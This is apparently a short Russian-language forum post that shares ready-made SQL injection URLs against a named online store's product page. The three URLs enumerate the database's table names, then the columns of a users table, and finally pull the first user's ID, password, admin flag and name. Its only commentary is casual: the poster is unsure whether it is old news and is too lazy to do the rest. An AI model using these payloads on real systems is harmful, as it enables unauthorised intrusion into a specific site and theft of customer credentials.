Таблыцы:

http://www.countryman.com/store/product.asp?id=1+or+1=(select+top+1+table_name+fro m+information_schema.tables+where+table_name+not+i n('MODELS','NEWSLETTER','PAGE_groups','pages','pay ment','address','assets','assets_type','brands','c art','cartitems','category','connector_key','conne ctors','connectors_b3','connectors_b6','connectors _choir','connectors_e6','connectors_emw','connecto rs_headset','connectors_isomax2','contactus','down loads','items','pdfs','pdftoproducts','preferences ','PREFERENCES_SECURE_STYLES','PREFERENCES_SHIPPIN G','PREFtoSHIP_SERVICES','PREFtoSHIP_VENDORS','pri ces','PRODtoCAT','products','promo_codes','SHIPPIN G_SERVICES','SHIPPING_VENDORS','sysconstraints','s yssegments','))--&catid=

ПАЛЯ :Р

http://www.countryman.com/store/product.asp?id=1+or+1=(select+top+1+column_name+fr om+information_schema.columns+where+table_name='us ers'+and+column_name+not+in('Active','Admin','Bill ingAddressID','CompanyName','EndDate','Name','Pass word','PrefID','ShippingAddressID','TheDate','User ID','UserName'))--

Бес понятия, боян или нет, но вот.

http://www.countryman.com/store/product.asp?id=1+or+1=(select+top+1+cast(UserID+as +nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar )%2B%27%3A%27%2Bcast(Admin+as+nvarchar)%2B%27%3A%2 7%2Bcast(name+as+nvarchar)+from+users+where+UserID =1)--v



Остальное влом :Р, спасибо Анатолию за стотью:-Р